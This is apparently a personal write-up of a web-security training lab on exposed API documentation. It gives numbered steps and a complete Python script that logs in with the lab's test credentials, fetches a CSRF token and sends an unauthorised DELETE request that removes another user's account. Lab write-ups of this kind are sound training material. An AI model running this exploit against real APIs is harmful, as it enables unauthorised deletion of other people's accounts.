Shubham Ranpise

Back

API Lab 1

Discover how publicly exposed API documentation can lead to unauthorized actions via REST API endpoints.

Exploiting an API endpoint using documentation#

In this lab, I demonstrated how publicly exposed API documentation can reveal powerful, undocumented functionality—specifically the ability to delete arbitrary users. By analyzing JavaScript and observing API behavior, I discovered that trimming the endpoint /api/user/wiener progressively led to /api, which returned a full interactive API documentation page.

This documentation exposed a hidden DELETE endpoint that allowed deletion of any user account. Using it, I deleted the user carlos and completed the lab. This highlights the risk of exposing internal API definitions and emphasizes the need for proper access control even on documented endpoints.

How the exploit works#

  1. Log in as wiener using credentials: wiener:peter.
  2. Trigger an email update via user settings; observe a PATCH /api/user/wiener call in HTTP history.
  3. Send that request to Repeater and successively trim the path:
    • /api/user/wiener
    • /api/user
    • /api — returns API documentation.
  4. Open the documentation in your browser—it’s interactive and exposes available HTTP methods.
  5. Locate the DELETE /user/[username] endpoint.
  6. Execute DELETE /api/user/carlos via the interactive docs.
  7. Confirm the response reports "User deleted" and lab completion.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3
from bs4 import BeautifulSoup

# Disable SSL warnings for self-signed certs (used in labs)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Burp Suite proxy (must be running)
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    """
    Ensure Burp Suite is running before sending requests.
    """
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.ConnectionError:
        print("[-] Burp Suite is not running. Please start Burp and try again.")
        sys.exit(1)

def get_csrf_token(session, base_url):
    """
    Retrieve the CSRF token from the login page.
    """
    try:
        res = session.get(base_url + "/login", verify=False, proxies=proxies)
        res.raise_for_status()
        soup = BeautifulSoup(res.text, "html.parser")
        token = soup.find("input", {"name": "csrf"})["value"]
        return token
    except Exception as e:
        print(f"[-] Failed to retrieve CSRF token: {e}")
        sys.exit(1)

def login(session, base_url):
    """
    Log in as 'wiener' using the CSRF token.
    """
    csrf_token = get_csrf_token(session, base_url)
    login_data = {
        "csrf": csrf_token,
        "username": "wiener",
        "password": "peter"
    }

    try:
        res = session.post(base_url + "/login", data=login_data, verify=False, proxies=proxies, allow_redirects=False)
        return res.status_code == 302
    except requests.RequestException as e:
        print(f"[-] Login failed: {e}")
        sys.exit(1)

def delete_user(session, base_url, username="carlos"):
    """
    Delete the target user using the documented API endpoint.
    """
    api_uri = f"/api/user/{username}"
    try:
        res = session.delete(base_url + api_uri, verify=False, proxies=proxies)
        if "User deleted" in res.text:
            return True
        return False
    except requests.RequestException as e:
        print(f"[-] API call failed: {e}")
        return False

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://target.com")
        sys.exit(1)

    url = sys.argv[1].strip()
    check_burp()

    session = requests.Session()

    print("[*] Logging in as 'wiener'...")
    if login(session, url):
        print("[+] Login successful.")
    else:
        print("[-] Login failed.")
        sys.exit(1)

    print("[*] Attempting to delete user 'carlos' via API...")
    if delete_user(session, url):
        print("[+] Exploit successful! User 'carlos' deleted.")
    else:
        print("[-] Exploit failed. User not deleted.")

if __name__ == "__main__":
    main()
python